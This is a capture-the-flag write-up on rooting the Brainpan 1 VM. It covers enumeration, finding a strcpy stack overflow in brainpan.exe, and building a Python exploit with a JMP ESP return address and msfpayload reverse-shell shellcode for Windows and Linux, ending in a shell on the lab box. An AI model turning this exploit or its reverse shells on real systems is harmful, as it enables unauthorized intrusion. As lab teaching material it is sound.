published on in writeup
tags: brainpan

Brainpan: 1 - Part 1

Brainpan is a brilliant series of VMs created by superkojiman - the goal is to gain root access. These challenges are quite long and involved as they’re not strictly at beginner level :), so I’ve split the solution into multiple parts.

Nmap

[email protected]:~# nmap -n -sV -A -p- 192.168.127.128
  
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Hacking Trends
1 service unrecognized despite returning data.

The service on port 9999 returns a mass of characters like HTML code, quite unreadable in the nmap output format, but with some evident words. Pointing a web browser at it doesn’t seem to return anything, but connecting via netcat does the trick.

Every string I entered here returned an access denied message, and the netcat connection closed.

I turned my attention back to the SimpleHTTPServer on port 10000.

Nikto

The index page on the web server didn’t contain anything interesting, so I did some more enumeration.

[email protected]:~# nikto -h 192.168.127.128:10000 -Display 124
+ OSVDB-3092: /bin/: This might be interesting...

I popped over to this URL and found a directory listing, containing one file: brainpan.exe. I downloaded this to my Kali machine.

[email protected]:~/brainpan/1# file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

This is a genuine Windows executable, so I ran in with Wine to see what I would do.

[email protected]:~/brainpan/1# wine brainpan.exe 
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

So it’s bound itself to port 9999 - I connected to it with netcat and received the same output as the application running on brainpan.

Time to Debug

If this application contains an exploitable vulnerability, then I may be able to leverage it to obtain a shell on brainpan. I ran it through strings, to get an idea of the functions inside.

[email protected]:~/brainpan/1# strings brainpan.exe

[...snip...]

[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm

[...snip...]

strcpy

Some interesting information here - first of all, it appears as though the valid password is stored inside the binary in plaintext. I opened a new netcat connection and tried it. I received an ACCESS GRANTED message, but it still exists back to the command prompt.

Secondly, it seems as though the password input is passed to a buffer using the strcpy function. This is notoriously vulnerable to buffer overflows, as it does nothing to validate the length of the input and blindly copies it into the buffer. Hopefully, this would allow me to hijack the execution flow of the application and execute my own code to help gain access to the system.

Initially I tried to debug it whilst it was running in Wine on my Kali VM, but it didn’t work reliably. I therefore moved it to a Windows XP VM, which I downloaded from Modern.IE. My debugger of choice is Immunity Debugger paired with mona.py from the Corelan Team.

My Windows VM is running on the same internal subnet as brainpan and Kali, its IP address is 192.168.127.130. I launched brainpan.exe in the debugger, and from my Kali VM, sent a long string of A’s to the application.

[email protected]:~# python -c 'print "A" * 100' | nc 192.168.127.130 9999

I started at 100 and worked my way up until the application crashed, which occured at 600 bytes.

We can see here that EIP, EDX and ESP have been overwritten with ASCII A’s (41 Hex). The next step is to calculate how many bytes are required to overwrite EIP.

[email protected]:~# ruby /usr/share/metasploit-framework/tools/pattern_create.rb 600 | nc 192.168.127.130 9999

The application crashed again and the value of EIP read 35724134.

[email protected]:~# ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 35724134
[*] Exact match at offset 524

This tells us that the number of bytes required before overwriting EIP is 524. I confirmed this by placing four B’s into EIP, wedged between a group of A’s and C’s.

[email protected]:~# python -c 'print ("A" * 524) + ("B" * 4) + ("C" * 72)' | nc 192.168.127.130 9999

EIP was overwritten with my B’s as expected. Some more analysis of the stack also shows that ESP starts directly underneath the address EIP was pointing at, as seen by the C’s. If I can find a JMP ESP instruction, I would be able to place by shellcode there.

I’ve been using 600 bytes so far and most of this is taken up to reach EIP and ESP, to place shellcode in ESP I will need to send more data. I increased the buffer to 1000 bytes (by adding more C’s) to see if the application still trashed in the same way, which it did.

The next stage was to find a valid JMP ESP instruction within the binary, and obtain it’s location in memory.

This can be done in Kali using objdump, but I used the mona plugin for Immunity Debugger. I find this more useful since it’s capable of searching within Windows DLLs as well as the binary itself, and whether or not they’re protected by ASLR, SafeSEH etc. It’s not applicable in this scenario but it’s good to be able to use multiple tools :)

!mona find -s '\xff\xe4' -m brainpan.exe

So there is a single JMP ESP instruction in the brainpan binary.

0x311712f3 : '\xff\xe4' |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\IEUser\My Documents\brainpan.exe)

Now I have a memory location for JMP ESP to put into EIP, I started writing my exploit, dubbed skull_cracker.

#!/usr/bin/env python
  
import socket
  
target = '192.168.127.130'
port = 9999
  
payload = "A" * 524
payload += "\xf3\x12\x17\x31"
payload += "C" * (1000 - 4 - 524)
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
try:
  
        s.connect((target, port))
        s.recv(1024)
        s.send(payload)
  
except:
  
        print "[x] Could not connect to " + target + " on " + str(port) + "."

I wanted to test this, to ensure the jump occured when EIP becomes overwritten. This is quite easily achieved by placing a breakpoint in the debugger, which will automatically pause execution when a particular memory address is reached.

I used the Go to > Expression command in Immunity, to go to 0x311712f3 - as expected, the JMP ESP instruction was here. I placed a breakpoint and ran my exploit.

The breakpoint was reached, which means the JMP ESP instruction had been reached. I stepped the debugger forward by one instruction, with the expectation it would take me to the first group of C’s.

Excellent, all going to plan so far.

So really, the final stage is to add some shellcode to be executed. I used msfpayload to generate some reverse Windows shellcode. I didn’t test for any bad characters, I just excluded null bytes and kept my fingers crossed.

[email protected]:~/brainpan/1# msfpayload windows/shell_reverse_tcp LHOST=192.168.127.127 R | msfencode -e x86/shikata_ga_nai -b '\x00' -t c

I placed this into my exploit, along with a small NOP slide, so that it looked like this:

#!/usr/bin/env python
  
import socket
  
target = '192.168.127.130'
port = 9999
  
shellcode = ("\xda\xd9\xd9\x74\x24\xf4\xbd\x28\x3b\xf5\xb9\x58\x31\xc9\xb1" # 341 bytes
"\x4f\x31\x68\x19\x03\x68\x19\x83\xc0\x04\xca\xce\x09\x51\x83"
"\x31\xf2\xa2\xf3\xb8\x17\x93\x21\xde\x5c\x86\xf5\x94\x31\x2b"
"\x7e\xf8\xa1\xb8\xf2\xd5\xc6\x09\xb8\x03\xe8\x8a\x0d\x8c\xa6"
"\x49\x0c\x70\xb5\x9d\xee\x49\x76\xd0\xef\x8e\x6b\x1b\xbd\x47"
"\xe7\x8e\x51\xe3\xb5\x12\x50\x23\xb2\x2b\x2a\x46\x05\xdf\x80"
"\x49\x56\x70\x9f\x02\x4e\xfa\xc7\xb2\x6f\x2f\x14\x8e\x26\x44"
"\xee\x64\xb9\x8c\x3f\x84\x8b\xf0\x93\xbb\x23\xfd\xea\xfc\x84"
"\x1e\x99\xf6\xf6\xa3\x99\xcc\x85\x7f\x2c\xd1\x2e\x0b\x96\x31"
"\xce\xd8\x40\xb1\xdc\x95\x07\x9d\xc0\x28\xc4\x95\xfd\xa1\xeb"
"\x79\x74\xf1\xcf\x5d\xdc\xa1\x6e\xc7\xb8\x04\x8f\x17\x64\xf8"
"\x35\x53\x87\xed\x4f\x3e\xc0\xc2\x7d\xc1\x10\x4d\xf6\xb2\x22"
"\xd2\xac\x5c\x0f\x9b\x6a\x9a\x70\xb6\xca\x34\x8f\x39\x2a\x1c"
"\x54\x6d\x7a\x36\x7d\x0e\x11\xc6\x82\xdb\xb5\x96\x2c\xb4\x75"
"\x47\x8d\x64\x1d\x8d\x02\x5a\x3d\xae\xc8\xed\x7a\x39\x33\x45"
"\xfb\xc5\xdb\x94\x03\x2b\x40\x10\xe5\x21\x68\x74\xbe\xdd\x11"
"\xdd\x34\x7f\xdd\xcb\xdc\x1c\x4c\x90\x1c\x6a\x6d\x0f\x4b\x3b"
"\x43\x46\x19\xd1\xfa\xf0\x3f\x28\x9a\x3b\xfb\xf7\x5f\xc5\x02"
"\x75\xdb\xe1\x14\x43\xe4\xad\x40\x1b\xb3\x7b\x3e\xdd\x6d\xca"
"\xe8\xb7\xc2\x84\x7c\x41\x29\x17\xfa\x4e\x64\xe1\xe2\xff\xd1"
"\xb4\x1d\xcf\xb5\x30\x66\x2d\x26\xbe\xbd\xf5\x56\xf5\x9f\x5c"
"\xff\x50\x4a\xdd\x62\x63\xa1\x22\x9b\xe0\x43\xdb\x58\xf8\x26"
"\xde\x25\xbe\xdb\x92\x36\x2b\xdb\x01\x36\x7e")
  
payload = "A" * 524
payload += "\xF3\x12\x17\x31"
payload += "\x90" * 20
payload += shellcode
payload += "C" * (1000 - 341 - 20 - 4 - 524)
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
try:
  
        s.connect((target, port))
        s.recv(1024)
        s.send(payload)
  
except:
  
        print "[x] Could not connect to " + target + " on " + str(port) + "."

I started up a multi/hander and launched my exploit.

[email protected]:~/brainpan/1# msfcli multi/handler payload=windows/shell_reverse_tcp lhost=192.168.127.127 E
  
[*] Started reverse handler on 192.168.127.127:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.127.127:4444 -> 192.168.127.130:1288) at 2014-05-26 19:10:05 +0100
  
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
  
C:\Documents and Settings\IEUser\My Documents>

Excellent. Now I have a working exploit, all I need to do is swap the Windows shellcode out for Linux shellcode (also generated with msfpayload), and adjust the padding to account for the smaller shellcode. My final payload was:

#!/usr/bin/env python
  
import socket
  
target = '192.168.127.128'
port = 9999
  
shellcode = ("\xbe\x05\x65\x51\x54\xdd\xc3\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1" # 95 bytes
"\x12\x31\x75\x12\x03\x75\x12\x83\xe8\x99\xb3\xa1\xc3\xba\xc3"
"\xa9\x70\x7e\x7f\x44\x74\x09\x9e\x28\x1e\xc4\xe1\xda\x87\x66"
"\xde\x11\xb7\xce\x58\x53\xdf\x10\x32\xdc\x60\xf9\x41\x23\x8f"
"\xa5\xcc\xc2\x1f\x33\x9f\x55\x0c\x0f\x1c\xdf\x53\xa2\xa3\x8d"
"\xfb\x12\x8b\x42\x93\x04\xfc\xc6\x0a\xbb\x8b\xe4\x9e\x10\x05"
"\x0b\xae\x9c\xd8\x4c")
  
payload = "A" * 524
payload += "\xF3\x12\x17\x31"
payload += "\x90" * 20
payload += shellcode
payload += "C" * (1000 - 95 - 20 - 4 - 524)
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
try:
  
        s.connect((target, port))
        s.recv(1024)
        s.send(payload)
  
except:
  
        print "[x] Could not connect to " + target + " on " + str(port) + "."
[email protected]:~/brainpan/1# msfcli multi/handler payload=linux/x86/shell_reverse_tcp lhost=192.168.127.127 E
  
[*] Command shell session 1 opened (192.168.127.127:4444 -> 192.168.127.128:36381) at 2014-05-26 19:16:13 +0100
  
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
  
pwd
/home/puck

Now I finally have a shell on brainpan - it’s time to end Part 1…